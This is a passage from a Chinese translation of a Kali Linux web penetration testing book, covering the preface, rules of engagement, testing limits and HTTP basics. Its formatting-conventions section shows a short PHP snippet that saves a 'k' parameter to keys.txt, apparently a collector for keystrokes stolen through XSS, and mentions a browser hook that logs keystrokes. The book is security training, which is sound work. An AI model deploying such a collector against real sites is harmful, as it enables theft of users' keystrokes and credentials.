Kali-Linux-Web-渗透测试第三版(全)

Kali Linux Web 渗透测试第三版(全)

原文:annas-archive.org/md5/D70608E075A2D7C8935F4D63EA6A10A3

译者:飞龙

协议:CC BY-NC-SA 4.0

前言

Web 应用程序,最近还有 Web 服务,现在已经成为我们日常生活的一部分——从政府程序到社交媒体再到银行应用程序;甚至在通过 Web 服务发送和接收信息的移动应用程序中也有它们的身影。公司和人们普遍大量使用 Web 应用程序。仅仅这个事实就使得 Web 应用程序成为信息窃贼和其他犯罪分子的有吸引力的目标。因此,保护这些应用程序及其基础设施免受攻击对于开发人员和所有者来说至关重要。

最近几个月,全球范围内都有关于大规模数据泄露、滥用应用功能生成虚假信息或收集用户信息并出售给广告公司的新闻。人们开始更关注他们的信息如何被信任的公司使用和保护。因此,公司需要采取积极的措施来防止此类泄漏或攻击的发生。这可以从开发过程中更严格的质量控制到公关和管理媒体存在感等多个方面来实现。

由于当前的方法论使得开发周期更短且更加动态,因此需要在众多技术中增加复杂性以创建现代 Web 应用程序。此外,一些继承的不良实践使得开发人员无法从安全角度全面测试他们的 Web 应用程序,因为他们的优先任务是按时交付一个可工作的产品。Web 应用程序的复杂性以及开发过程本身的复杂性导致了对安全测试专业人员的需求,他们参与到过程中,并负责从安全角度测试应用程序,更具体地说,从攻击者的角度。这个专业人员就是渗透测试人员。

在这本书中,我们从 Web 应用程序和渗透测试的基本概念开始,涵盖了方法论中的每个阶段;从获取信息到识别可能的弱点再到利用漏洞。渗透测试人员的一个关键任务是:一旦他们发现并验证了一个漏洞,他们需要向开发人员提供建议,告诉他们如何修复这些缺陷并防止它们再次发生。因此,本书中所有专门用于识别和利用漏洞的章节还包括一个简要介绍如何预防和减轻每种攻击的部分。

本书适合对象

我们在编写本书时考虑了多种读者。首先是计算机科学学生、开发人员和系统管理员,他们希望在信息安全方面的知识上更进一步,或者希望在这个领域追求职业生涯的人;他们将找到一些基本概念和易于理解的指导,这将使他们能够在自己的测试实验室中进行第一次渗透测试,并获得继续实践和学习的基础和工具。

应用程序开发人员和系统管理员也将了解攻击者在现实世界中的行为,应该考虑哪些方面来构建更安全的应用程序和系统,以及如何检测恶意行为。

最后,经验丰富的安全专业人员将找到一些中级和高级的利用技术和思路,以及如何结合两个或多个漏洞来执行更复杂的攻击的想法。

本书内容

第一章,渗透测试和 Web 应用程序简介,涵盖了渗透测试、Kali Linux 和 Web 应用程序的基本概念。首先定义了渗透测试本身和其他关键概念,然后介绍了在进行专业渗透测试之前需要考虑的事项,如定义范围和规则。然后我们深入了解 Kali Linux,并了解 Web 应用程序的工作原理,重点关注对渗透测试人员更为重要的方面。

第二章,使用 Kali Linux 设置实验室,是对将在后续章节中使用的测试环境的技术回顾。我们首先解释了 Kali Linux 是什么以及它包含的用于测试 Web 应用程序安全性的工具;接下来,我们看一下将在未来章节中使用的易受攻击的 Web 应用程序,以演示漏洞和攻击。

第三章,侦察和分析 Web 服务器,展示了渗透测试人员和攻击者用于获取有关开发、托管和支持目标应用程序所使用的技术的信息,并识别可能进一步利用的第一个弱点的技术和工具,因为按照渗透测试的标准方法,第一步是尽可能收集有关目标的信息。

第四章,认证和会话管理漏洞,顾名思义,专门讲解与用户身份识别和应用程序内职责分离相关的漏洞的检测、利用和缓解方法,从不同的认证和会话管理机制的解释开始,接着介绍这些机制可能存在的设计或实现缺陷以及这些缺陷如何被恶意行为者或渗透测试人员利用。

第五章,检测和利用注入漏洞,解释了最常见的注入漏洞的检测、利用和缓解方法,因为在安全方面,开发人员最关注的问题之一就是应用程序容易受到各种注入攻击的威胁,无论是 SQL 注入、命令注入还是其他任何攻击方式,这些都可能对 Web 应用程序构成重大风险。

第六章,发现和利用跨站脚本(XSS)漏洞,从解释什么是跨站脚本漏洞开始,到它为什么以及如何构成安全风险,再到如何识别 Web 应用程序的漏洞,以及攻击者如何利用它来获取用户的敏感信息或让他们无意中执行操作。

第七章,跨站请求伪造、识别和利用,解释了什么是跨站请求伪造攻击以及它是如何工作的。然后我们讨论了检测使其成为可能的缺陷的关键因素,接着介绍了利用技术,并最后给出了预防和缓解建议。

第八章,攻击密码实现中的缺陷,首先介绍了密码学概念,这些概念对于渗透测试人员来说非常有用,例如 SSL/TLS 的一般工作原理,加密、编码和哈希的概念和算法的回顾;然后我们描述了用于识别弱 SSL/TLS 实现的工具,以及对已知漏洞的利用。接下来,我们介绍了检测和利用自定义密码算法和实现中的缺陷。本章最后给出了在使用加密通信或存储敏感信息时如何预防漏洞的建议。

第九章,AJAX、HTML5 和客户端攻击,介绍了渗透测试 Web 应用程序的客户端部分,从 AJAX 应用程序的爬行过程开始,解释了现代 Web 浏览器中包含的开发者工具。我们还将介绍 HTML5 带来的创新以及它对攻击者和渗透测试人员带来的新挑战和机会。接下来,本章将描述使用开发者工具绕过客户端实施的安全控制的方法,并以预防和缓解 AJAX、HTML5 和客户端漏洞的建议结束。

第十章,Web 应用程序中的其他常见安全缺陷,讨论了不安全的直接对象引用、文件包含、HTTP 参数污染和信息泄露漏洞及其利用。最后,我们提供了如何预防和修复这些缺陷的建议。

第十一章,在 Web 应用程序上使用自动化扫描工具,解释了在使用自动化扫描工具和模糊测试工具时需要考虑的因素。我们还解释了这些扫描工具的工作原理以及模糊测试是什么,然后介绍了 Kali Linux 中包含的扫描和模糊测试工具的使用示例。最后,我们介绍了渗透测试人员在对 Web 应用程序进行自动化扫描后应采取的措施,以向应用程序开发人员提供有价值的结果。

为了充分利用本书

为了成功利用本书,读者建议具备以下基本知识:

  • Linux 操作系统安装

  • Unix/Linux 命令行使用

  • HTML 语言

  • PHP Web 应用程序编程

  • Python 编程

唯一必需的硬件是一台个人电脑,具备运行 VirtualBox 或其他虚拟化软件的操作系统。至于规格,推荐的设置如下:

  • Intel i5、i7 或类似的 CPU

  • 500GB 的硬盘

  • 8GB 的 RAM

  • 互联网连接

下载示例代码文件

您可以从您在www.packtpub.com的账户中下载本书的示例代码文件。如果您在其他地方购买了本书,您可以访问www.packtpub.com/support并注册以直接通过电子邮件接收文件。

您可以按照以下步骤下载代码文件:

  1. 登录或注册www.packtpub.com

  2. 选择“支持”选项卡。

  3. 点击“代码下载和勘误”。

  4. 在搜索框中输入书名,然后按照屏幕上的说明进行操作。

下载文件后,请确保使用以下最新版本的软件解压或提取文件夹:

  • Windows 的 WinRAR/7-Zip

  • Mac 的 Zipeg/iZip/UnRarX

  • Linux 的 7-Zip/PeaZip

本书的代码包也托管在 GitHub 上,网址为github.com/PacktPublishing/Web-Penetration-Testing-with-Kali-Linux-Third-Edition。如果代码有更新,将在现有的 GitHub 存储库上进行更新。

我们还有其他代码包,来自我们丰富的图书和视频目录,可在github.com/PacktPublishing/上找到。请查看!

下载彩色图像

我们还提供了一个包含本书中使用的屏幕截图/图表的彩色图像的 PDF 文件。您可以在这里下载:www.packtpub.com/sites/default/files/downloads/WebPenetrationTestingwithKaliLinuxThirdEdition_ColorImages.pdf

使用的约定

本书中使用了许多文本约定。

CodeInText:表示文本中的代码词、数据库表名、文件夹名、文件名、文件扩展名、路径名、虚拟 URL、用户输入和 Twitter 用户名。以下是一个例子:“许多组织可能有应用程序会监听一个不在nmap-services文件中的端口。”

代码块设置如下:

<?php 
  if(!empty($_GET['k'])) { 
    $file = fopen('keys.txt', 'a'); 
    fwrite($file, $_GET['k']); 
    fclose($file); 
  } 
?> 

当我们希望引起您对代码块的特定部分的注意时,相关的行或项目会以粗体显示:

<?php 
  if(!empty($_GET['k'])) { 
    $file = fopen('keys.txt', 'a'); 
    fwrite($file, $_GET['k']); 
    fclose($file); 
  } 
?> 

任何命令行输入或输出都以以下方式编写:

python -m SimpleHttpServer 8000  

粗体:表示一个新术语、一个重要单词或您在屏幕上看到的单词。例如,菜单或对话框中的单词会以这种方式显示在文本中。以下是一个例子:“如果您进入当前浏览器的日志选项卡,您将看到钩子会记录用户在浏览器中的所有操作,从点击和按键到窗口或标签的更改。”

警告或重要提示会以这种方式显示。

提示和技巧会以这种方式显示。

第一章:渗透测试和 Web 应用程序简介

Web 应用程序使用 HTTP 协议进行客户端和服务器之间的通信,并需要 Web 浏览器作为客户端界面。它可能是现代公司中最普遍的应用程序类型,从人力资源的组织气候调查到公司网站的 IT 技术服务。甚至厚客户端应用程序、移动应用程序和许多物联网IoT)设备也通过 Web 服务和嵌入到其中的 Web 界面使用 Web 组件。

不久前,人们认为安全只在组织的边界和网络层面上是必要的,因此公司在物理和网络安全上花费了大量资金。然而,由于他们对组织内外的 Web 技术的依赖,这也带来了一种有些虚假的安全感。近年来,我们看到了关于数百万条记录的惊人数据泄露和违规事件的新闻,其中包括信用卡号码、健康历史、家庭地址以及来自世界各地的人们的社会安全号码(SSN)。其中许多攻击都是通过利用 Web 漏洞或设计失误开始的。

现代组织承认他们依赖于 Web 应用程序和 Web 技术,并且它们与网络和操作系统一样容易受到攻击,甚至更容易。这导致提供防护或防御 Web 攻击服务的公司数量增加,以及Web 应用程序防火墙WAF)、运行时应用程序自我保护RASP)、Web 漏洞扫描器和源代码扫描器等技术的出现或增长。此外,越来越多的组织发现在向最终用户发布应用程序之前测试其安全性非常有价值,这为有才华的黑客和安全专业人员提供了机会,他们可以利用自己的技能发现漏洞并提供修复建议,从而帮助公司、医院、学校和政府拥有更安全的应用程序和日益改进的软件开发实践。

主动安全测试

渗透测试道德黑客是通过执行类似于任何一天可能发生的真实攻击的攻击方式来主动测试 Web 应用程序的方法。它们以受控的方式执行,目的是尽可能发现多个安全漏洞,并提供有关如何减轻这些漏洞带来的风险的反馈。

在向最终用户发布应用程序之前,对应用程序进行安全测试对公司非常有益。事实上,有一些安全意识很强的公司几乎已经将渗透测试、漏洞评估和源代码审查完全整合到了软件开发周期中。因此,当他们发布新的应用程序时,它已经经历了各个测试和修复阶段。

不同的测试方法论

人们经常对以下术语感到困惑,他们互换使用,但并不理解这些术语的某些方面虽然有重叠,但也存在细微的差异,需要您注意:

  • 道德黑客

  • 渗透测试

  • 漏洞评估

  • 安全审计

道德黑客

很少有人意识到黑客是一个被误解的术语;它对不同的人有不同的含义,而且往往黑客被认为是一个坐在黑暗的地方没有社交生活且有恶意意图的人。因此,在术语“黑客”前面加上了“道德”一词。术语“道德黑客”用来指称那些致力于发现系统漏洞和脆弱性、向系统的供应商或所有者报告,并有时帮助他们修复系统的专业人士。道德黑客使用的工具和技术与黑客或黑帽黑客使用的工具和技术类似,但目的不同,因为它以更专业的方式使用。道德黑客也被称为“安全研究员”。

渗透测试

渗透测试是本书中我们经常使用的一个术语,它是道德黑客的一个子集。它是一个更专业的术语,用来描述道德黑客的工作内容。如果你计划从事道德黑客或安全测试的职业,那么你经常会看到职位为渗透测试员的招聘信息。尽管渗透测试是道德黑客的一个子集,但它在很多方面有所不同。它是一种更简化的方式,用于识别系统中的漏洞,并确定漏洞是否可利用。渗透测试受到测试人员和被测试系统的所有者之间的合同的约束。为了确定要测试的系统,您需要定义测试的范围。需要定义“参与规则”,确定测试的方式。

漏洞评估

有时,组织可能只想识别其系统中存在的漏洞,而不实际利用它们并获取访问权限。漏洞评估比渗透测试更广泛。漏洞评估的最终结果是一个报告,按照发现的漏洞进行优先排序,最严重的漏洞排在前面,风险较低的漏洞排在报告的较低位置。这份报告对于知道自己存在安全问题并需要确定和优先处理最关键问题的客户非常有帮助。

安全审计

审计是一种系统性的程序,用于根据预先确定的一组标准来衡量系统的状态。这些标准可以是行业最佳实践或内部清单。审计的主要目标是衡量和报告符合情况。如果你正在审计一个 Web 服务器,一些最初需要注意的事项包括服务器上的开放端口、启用的有害 HTTP 方法(如 TRACE)、使用的加密标准和密钥长度。

进行渗透测试时需要考虑的因素

在计划执行渗透测试项目时,无论是作为专业渗透测试员为客户工作,还是作为公司内部安全团队的一部分,都需要在开始参与之前考虑一些方面。

参与规则

参与规则(RoE)是一份文件,涉及渗透测试的进行方式。在开始渗透测试之前,应明确规定 RoE 中的一些指令,例如:

  • 测试的类型和范围

  • 客户联系方式

  • 客户 IT 团队通知

  • 敏感数据处理

  • 状态会议和报告

测试的类型和范围

测试的类型可以是黑盒测试、白盒测试或中间的灰盒测试,这取决于参与方式和与测试团队共享的信息量。

在每种类型的测试中,都有可以做和不可以做的事情。在黑盒测试中,测试团队从组织外部的攻击者的视角出发,渗透测试人员从零开始,试图识别网络地图、实施的防御机制、面向互联网的网站和服务等。尽管这种方法在模拟外部攻击者方面可能更加真实,但需要考虑到这些信息可能很容易从公共来源获取,或者攻击者可能是一个已经拥有这些信息的不满意的员工或前员工。因此,如果目标是仅供员工使用的内部应用程序,采用黑盒方法可能是浪费时间和金钱。

白盒测试是指测试团队获得有关目标的所有可用信息,有时甚至包括应用程序的源代码,以便在侦察和扫描上花费很少或没有时间。然后,灰盒测试是指向测试团队提供部分信息,例如应用程序的 URL、用户级文档和/或用户帐户。

灰盒测试在测试 Web 应用程序时特别有用,因为主要目标是在应用程序本身中发现漏洞,而不是在托管服务器或网络中。渗透测试人员可以使用用户帐户来采用恶意用户或通过社交工程获得访问权限的攻击者的视角。

在确定测试范围时,客户与测试团队需要评估哪些信息是有价值且需要保护的,并基于此确定需要测试哪些应用程序/网络以及对信息的访问程度。

客户联系方式

我们可以认同,即使在进行测试时采取了所有必要的预防措施,有时测试也可能出错,因为它涉及让计算机执行恶意操作。在客户端拥有正确的联系信息确实非常有帮助。渗透测试经常会变成拒绝服务DoS)攻击。客户端的技术团队应该全天候可用,以防计算机崩溃,需要硬重启才能恢复在线状态。

渗透测试 Web 应用程序的优势在于可以在专门为此目的构建的环境中进行,从而使测试人员降低对客户生产资产的负面影响的风险。

客户 IT 团队通知

渗透测试还用作检查支持人员对事件和入侵尝试的响应准备情况的手段。您应该与客户讨论此事,无论是宣布还是未宣布的测试。如果是宣布的测试,请确保通知客户测试(攻击)将在何时何地进行,并提供测试的源 IP 地址,以避免其 IT 安全团队错过任何真正的入侵尝试。如果是未宣布的测试,请与客户讨论如果测试被自动系统或网络管理员阻止会发生什么。测试是否在那里结束,还是继续进行?这完全取决于测试的目的,是为了测试基础设施的安全性还是检查网络安全和事件处理团队的响应。即使进行未宣布的测试,也要确保升级矩阵中的某人知道测试的时间和日期。Web 应用程序渗透测试通常是宣布的。

敏感数据处理

在测试准备和执行过程中,测试团队将获得并可能发现有关公司、系统和/或其用户的敏感信息。敏感数据处理在 RoE 中需要特别注意,并且应采取适当的存储和通信措施(例如,对测试人员计算机进行全盘加密,如果通过电子邮件发送报告,则对报告进行加密等)。如果您的客户受到各种监管法律的覆盖,例如《健康保险可携带性和责任法》(HIPAA)、《格拉姆-利奇-布莱利法》(GLBA)或欧洲数据隐私法,只有授权人员才能查看个人用户数据。

状态会议和报告

沟通是成功的渗透测试的关键。测试团队和客户组织之间应定期安排会议,并由测试团队发布例行状态报告。测试团队应介绍他们已经达到的进展以及到目前为止发现的漏洞。客户组织还应确认他们的检测系统是否触发了由渗透尝试引起的任何警报。如果正在测试 Web 服务器并且部署了 WAF,则应记录和阻止攻击尝试。作为最佳实践,测试团队还应记录测试进行的时间。这将帮助安全团队将日志与渗透测试相关联。

WAF 通过分析客户端和服务器之间的 HTTP/HTTPS 流量工作,并且能够检测和阻止对 Web 应用程序的最常见攻击。

渗透测试的限制

尽管渗透测试被推荐并应定期进行,但渗透测试存在一定的限制。测试的质量和结果将直接取决于测试团队的技能。由于范围的限制、渗透测试人员对测试环境的访问限制以及测试人员使用的工具的限制,渗透测试无法找到所有的漏洞。以下是渗透测试的一些限制:

  • 技能限制:如前所述,测试的成功和质量将直接取决于渗透测试团队的技能和经验。渗透测试可以分为三个广泛的类别:网络、系统和 Web 应用程序渗透测试。如果让一个擅长网络渗透测试的人参与测试 Web 应用程序的项目,将无法获得正确的结果。由于当今互联网上部署了大量的技术,很难找到一个精通这三个领域的人。一个测试人员可能对 Apache Web 服务器有深入的了解,但可能是第一次遇到 IIS 服务器。过去的经验也在测试的成功中起着重要作用;将一个低风险漏洞映射到具有高威胁级别的系统是一种只能通过经验获得的技能。

  • 时间限制:渗透测试通常是一个短期项目,必须在预定的时间段内完成。测试团队需要在该期限内产生结果并确定漏洞。另一方面,攻击者有更多的时间来进行攻击,并可以仔细计划。渗透测试人员还必须在测试结束时提交报告,描述方法论、确定的漏洞和执行摘要。必须定期拍摄屏幕截图,然后将其添加到报告中。显然,攻击者不会编写任何报告,因此可以将更多时间用于实际攻击。

  • 自定义利用的限制:在某些高度安全的环境中,常规的渗透测试框架和工具几乎没有用处,团队需要跳出常规思维,例如创建自定义利用和手动编写脚本以达到目标。创建利用非常耗时,它会影响测试的总预算和时间。无论如何,编写自定义利用应该是任何自重的渗透测试人员的技能组合的一部分。

  • 避免 DoS 攻击:黑客和渗透测试是一种让计算机或应用程序执行其设计之外功能的艺术。因此,有时候测试可能导致 DoS 攻击,而不是获取系统访问权限。许多测试人员为了避免意外造成系统停机而不进行此类测试。由于系统未经过 DoS 攻击测试,它们更容易受到脚本小子的攻击,这些脚本小子只是在寻找此类可通过互联网访问的系统,以便通过将其下线来获得声誉。脚本小子是指那些利用计算机系统中易于发现和众所周知的弱点来获取声誉,而不理解或关心潜在的有害后果的技术水平低下的个人。应该向客户介绍 DoS 测试的利弊,以帮助他们做出正确的决策。

  • 访问限制:网络被划分为不同的段,测试团队通常只能访问和测试那些具有服务器并可从互联网访问的段,以模拟真实世界的攻击。然而,这样的测试无法检测到客户所在的内部网络上的配置问题和漏洞。

  • 使用工具的限制:有时,渗透测试团队只被允许使用客户批准的工具和利用框架清单。无论是免费版本还是商业版本,没有一种工具是完整的。测试团队需要了解这些工具,并在它们缺少功能时寻找替代品。

为了克服这些限制,大型组织设有专门的渗透测试团队,负责研究新的漏洞并定期进行测试。其他组织除了进行渗透测试外,还进行定期的配置审查。

测试 Web 应用程序的需求

随着互联网面向的网站数量的增加以及进行在线业务的组织数量的增加,Web 应用程序和 Web 服务器成为攻击者的有吸引力的目标。Web 应用程序无处不在,遍布公共和私有网络,因此攻击者不需要担心目标的缺乏。只需要一个 Web 浏览器就可以与 Web 应用程序进行交互。一些 Web 应用程序的缺陷,如逻辑错误,甚至可以被一个外行人利用。例如,由于逻辑实现不当,如果一家公司拥有一个电子商务网站,在结账过程之后允许用户将商品添加到购物车,那么一个恶意用户通过试错发现这一点后,就可以轻松地利用这个漏洞,而无需任何特殊工具。

Web 应用程序的漏洞也为恶意软件和病毒的传播提供了手段,这些恶意软件和病毒可以在几分钟内传播到全球。黑客通过利用 Web 应用程序和安装恶意软件获得可观的经济利益,然后将其传播给应用程序的用户。

边缘防火墙对流向 Web 服务器的入站 HTTP 流量更加宽松,因此攻击者不需要打开任何特殊端口。HTTP 协议是多年前设计的,没有提供任何内置的安全功能;它是一个明文协议,需要使用 HTTPS 协议进行额外的层次保护通信。它也没有提供个别会话标识,而是由开发人员自行设计。许多开发人员直接从大学毕业后被雇佣,他们只具备编程语言的理论知识,没有 Web 应用程序编程的安全方面的实际经验。即使漏洞被报告给开发人员,他们也需要很长时间来修复,因为他们忙于 Web 应用程序的功能创建和增强部分。

安全编码从 Web 应用程序的架构和设计阶段开始,因此需要早期集成到开发周期中。后期集成安全将证明困难,并且需要大量的重做工作。在开发阶段早期使用威胁建模来识别风险和威胁,对于减少生产就绪的 Web 应用程序代码中的漏洞非常有帮助。

投入资源编写安全代码是减少 Web 应用程序漏洞的有效方法。然而,编写安全代码很容易说,但很难实施。

防范对 Web 应用的攻击的原因

防范对 Web 应用的攻击的一些最有说服力的原因如下:

  • 保护客户数据

  • 遵守法律法规

  • 声誉损失

  • 收入损失

  • 保护免受业务中断的影响。

如果 Web 应用程序与信用卡信息进行交互和存储,则需要符合支付卡行业PCI)制定的规则和法规。PCI 有具体的指南,例如审查 Web 应用程序中的所有代码以查找漏洞,或安装 WAF 以减轻风险。

当 Web 应用程序未经漏洞测试,攻击者获得访问客户数据的权限时,如果客户对公司提起诉讼,这可能严重影响公司的品牌。这也可能导致收入损失,因为许多客户将转移到可能提供更好安全性的竞争对手那里。

对 Web 应用的攻击也可能导致严重的服务中断,如果是 DoS 攻击,服务器可能会被关闭以清理暴露的数据,或进行取证调查。这可能会在财务报表中产生负面影响。

这些原因足以说服您组织的高级管理层投入资源(包括资金、人力和技能)来提高 Web 应用程序的安全性。

Kali Linux

在本书中,我们将使用 Kali Linux 提供的工具来完成我们的测试。Kali Linux 是一个基于 Debian 的 GNU/Linux 发行版。Kali Linux 被安全专业人员用于执行攻击性安全任务,并由一家名为 Offensive Security 的公司维护。Kali Linux 的前身是 BackTrack,它是渗透测试人员使用的主要工具之一,使用了超过六年,直到 2013 年被 Kali Linux 取代。2015 年 8 月,Kali Linux 的第二个版本以代号 Kali Sana 发布,2016 年 1 月,它转换为“滚动发布”。

这意味着软件会持续更新,而无需更改操作系统版本。Kali Linux 附带了一套大量的流行黑客工具,这些工具已经安装了所有的先决条件,可以直接使用。我们将深入研究这些工具,并使用它们来测试那些存在于现实世界 Web 应用程序中的重大缺陷的 Web 应用程序。

渗透测试人员的 Web 应用程序概述

Web 应用程序涉及的远不止 HTML 代码和 Web 服务器。如果您不是积极参与 Web 应用程序开发的程序员,那么您可能对 HTTP 协议的内部工作原理、Web 应用程序与数据库的交互方式以及用户单击链接或在 Web 浏览器中输入网站 URL 时发生的情况一无所知。

作为渗透测试人员,了解信息如何从客户端流向服务器和数据库,然后再返回客户端非常重要。本节将包括一些信息,帮助没有 Web 应用程序渗透测试先验知识的个人利用 Kali Linux 提供的工具进行端到端的 Web 渗透测试。您将对以下内容有一个广泛的概述:

  • HTTP 协议

  • HTTP 中的头部

  • 使用 cookie 进行会话跟踪

  • HTML

  • Web 应用程序的架构

HTTP 协议

在 Web 服务器和客户端之间传输 Web 应用程序流量的底层协议称为超文本传输协议HTTP)。协议的最常见实现是 HTTP/1.1,定义在 RFC 7230-7237 中,取代了在 RFC 2616 中定义的旧版本。最新版本称为 HTTP/2,于 2015 年 5 月发布,并在 RFC 7540 中定义。第一个版本 HTTP/1.0 现在被认为已过时,不推荐使用。

随着互联网的发展,HTTP 协议的后续版本添加了新功能。在 HTTP/1.1 中,添加了持久连接、OPTIONS方法以及 HTTP 支持缓存的几项改进功能。

RFC 是由互联网工程任务组IETF)创建的详细技术文档,描述了互联网标准和协议。RFC 文档的最终版本成为实现协议时可以遵循的标准。

HTTP 是一种客户端-服务器协议,其中客户端(Web 浏览器)向服务器发出请求,服务器则响应请求。服务器的响应主要以 HTML 格式的页面形式呈现。默认情况下,HTTP 协议使用端口80,但可以配置 Web 服务器和客户端以使用不同的端口。

HTTP 是一种明文协议,这意味着客户端和服务器之间的所有信息都是未加密的,任何中间人都可以看到并理解它。为了解决 HTTP 设计中的这个缺陷,发布了一种新的实现,它通过安全套接字层SSL)协议建立了一个加密的通信通道,然后通过该通道发送 HTTP 数据包。这被称为 HTTPS 或 HTTP over SSL。近年来,SSL 越来越多地被一种名为传输层安全TLS)的新协议取代,目前版本为 1.2。

了解 HTTP 请求和响应

HTTP 请求是客户端向服务器发送的消息,以获取一些信息或执行某些操作。它由一个空行分隔的两个部分组成:头部和正文。头部包含与请求本身、预期的响应、cookie 和其他相关控制信息相关的所有信息,正文包含交换的数据。HTTP 响应具有相同的结构,只是内容和所包含信息的使用有所不同。

请求头

以下是在浏览www.bing.com时使用 Web 应用程序代理捕获的 HTTP 请求:

此标头中的第一行指示请求的方法:GET,请求的资源:/(即根目录)和协议版本:HTTP 1.1。HTTP 标头中还可以有其他几个字段。我们将讨论最相关的字段:

  • 主机:这指定了被请求资源的主机和端口号。一个 web 服务器可能包含多个站点,或者可能包含共享托管或负载均衡等技术。该参数用于区分由同一基础设施提供的不同站点/应用程序。

  • 用户代理:该字段用于服务器识别将接收信息的客户端类型(即 Web 浏览器)。对于开发人员来说,它很有用,因为响应可以根据用户的配置进行适应,因为并非所有 HTTP 协议和 Web 开发语言中的所有功能都与所有浏览器兼容。

  • Cookie:Cookie 是客户端和服务器之间交换的临时值,用于保持会话信息等其他原因。

  • 内容类型:这指示服务器请求体中包含的媒体类型。

  • 授权:HTTP 允许通过此参数进行每个请求的客户端身份验证。有多种身份验证模式,最常见的是BasicDigestNTLMBearer

响应标头

在接收到请求并处理其内容后,服务器可能会以如下所示的消息作出响应:

响应标头的第一行包含状态码(200),这是一个三位数的代码。这有助于浏览器理解操作的状态。以下是一些重要字段的详细信息:

  • 状态码:没有名为状态码的字段,但该值通过标头传递。2xx系列状态码用于向 Web 浏览器传达成功的操作。3xx系列用于指示重定向,当服务器希望客户端连接到另一个 URL 时,当网页被移动时。4xx系列用于指示客户端请求中的错误,并要求用户在重新发送之前修改请求。5xx系列表示服务器端错误,因为服务器无法完成操作。在前面的标头中,状态码为200,表示操作成功。完整的 HTTP 状态码列表可以在developer.mozilla.org/en-US/docs/Web/HTTP/Status找到。

  • 设置 Cookie:如果定义了此字段,将在客户端中建立一个 Cookie 值,服务器可以使用该值来识别客户端并存储临时数据。

  • 缓存控制:这指示是否将响应的内容(图像、脚本代码或 HTML)存储在浏览器缓存中以减少页面加载时间,以及如何进行存储。

  • 服务器:该字段指示服务器类型和版本。由于这些信息可能对潜在攻击者有兴趣,因此最好将服务器配置为省略其响应,就像前面截图中显示的标头一样。

  • 内容长度:该字段将包含一个值,指示响应体中的字节数。它用于使另一方知道当前请求/响应何时完成。

可以在以下 URL 找到所有标头字段及其用法的详尽列表:www.w3.org/Protocols/rfc2616/rfc2616-sec14.html

HTTP 方法

当客户端向服务器发送请求时,还应通知服务器对所需资源执行何种操作。例如,如果用户只想查看网页的内容,它将调用GET方法,该方法通知服务器将网页的内容发送给客户端的 Web 浏览器。

本节描述了几种方法。对于渗透测试人员来说,它们很有趣,因为它们指示两个端点之间正在发生的数据交换类型。

GET 方法

GET 方法用于检索由 URL 标识或由其标识的过程生成的任何信息。GET 请求可以从客户端获取参数,然后通过 URL 本身将这些参数的名称和值附加到 Web 应用程序中。如下所示的标头中,当您在 Bing 搜索引擎中发送“网络渗透测试”的搜索查询时,它是通过 URL 发送的:

POST 方法

POST 方法与 GET 方法类似。它用于从服务器检索数据,但是它通过请求的正文传递内容。由于数据现在通过请求的正文传递,攻击者更难检测和攻击底层操作。如下所示的 POST 请求中,用户名(login)和密码(pwd)不是通过 URL 发送的,而是通过与标头之间的空行分隔的正文发送的:

HEAD 方法

HEAD 方法与 GET 方法相同,只是服务器在响应中不包含消息体;也就是说,HEAD 请求的响应只是 GET 请求的响应头。

TRACE 方法

当使用 TRACE 方法时,接收服务器会将 TRACE 响应与响应体中的原始请求消息一起返回。TRACE 方法用于识别中间设备(如代理服务器和防火墙)对请求所做的任何更改。某些代理服务器在数据包通过时会编辑 HTTP 标头,可以使用 TRACE 方法来识别这一点。它用于测试目的,因为它可以让您跟踪对方接收到了什么。

PUT 和 DELETE 方法

PUT 和 DELETE 方法是 WebDAV 的一部分,它是 HTTP 协议的扩展,允许在 Web 服务器上管理文档和文件。开发人员使用它将生产就绪的网页上传到 Web 服务器上。PUT 用于将数据上传到服务器,而 DELETE 用于删除数据。在现代应用程序中,PUT 和 DELETE 也用于 Web 服务以执行数据库上的特定操作。PUT 用于插入或修改记录,而 DELETE 用于删除、禁用或防止将来读取某些信息。

OPTIONS 方法

OPTIONS 方法用于查询服务器以获取请求的 URL 可用的通信选项。在下面的标头中,我们可以看到对 OPTIONS 请求的响应:

了解 HTTP 数据包的布局非常重要,因为它包含有用的信息,并且用户可以控制其中的几个字段,从而给攻击者注入恶意数据或操纵应用程序的某些行为提供了机会。

在 HTTP 中保持会话

HTTP 是一种无状态的客户端-服务器协议,客户端发出请求,服务器以数据作为响应。下一个请求被视为完全独立的新请求,与之前的请求无关。HTTP 请求的设计使得它们彼此独立。当您在网上购物时将商品添加到购物车中时,应用程序需要一种机制将商品与您的账户关联起来。每个应用程序可能使用不同的方式来标识每个会话。

追踪会话最常用的技术是通过服务器设置的会话 ID(标识符)。一旦用户使用有效的用户名和密码进行身份验证,就会为该用户分配一个唯一的随机会话 ID。在客户端发送的每个请求中,都会包含唯一的会话 ID,以将请求与经过身份验证的用户关联起来。会话 ID 可以使用GETPOST方法共享。使用GET方法时,会话 ID 将成为 URL 的一部分;使用POST方法时,ID 将在 HTTP 消息的正文中共享。服务器维护一个将用户名映射到分配的会话 ID 的表。分配会话 ID 的最大优势是,即使 HTTP 是无状态的,用户也不需要在每个请求中进行身份验证;浏览器会提供会话 ID,服务器会接受它。

会话 ID 也有一个缺点:任何获得会话 ID 的人都可以冒充用户,而无需用户名和密码。此外,会话 ID 的强度取决于用于生成它的随机程度,这可能有助于防止暴力破解攻击。

Cookie

在 HTTP 通信中,Cookie是由服务器存储在客户端文件系统或 Web 浏览器内存中的具有名称、值和一些行为参数的单个信息。Cookie 是客户端和 Web 服务器之间传递会话 ID 的事实上的标准机制。使用 Cookie 时,服务器通过在 HTTP 响应头中设置Set-Cookie字段为客户端分配一个唯一的 ID。当客户端接收到头部时,它将存储 Cookie 的值,即会话 ID,存储在本地文件或浏览器的内存中,并将其与发送它的网站 URL 关联起来。当用户重新访问原始网站时,浏览器将发送 Cookie 值,以识别用户。

除了会话跟踪,Cookie 还可以用于存储终端客户端的偏好信息,例如语言和其他配置选项,这些信息将在会话之间持久存在。

服务器和客户端之间的 Cookie 流程

Cookie 始终由服务器设置和控制。Web 浏览器只负责在每个请求中将其发送到服务器。在下图中,您可以看到向服务器发出了一个GET请求,并且服务器上的 Web 应用程序选择设置一些 Cookie 来识别用户和用户在先前请求中选择的语言。在客户端发出的后续请求中,Cookie 成为请求的一部分:

持久性和非持久性 Cookie

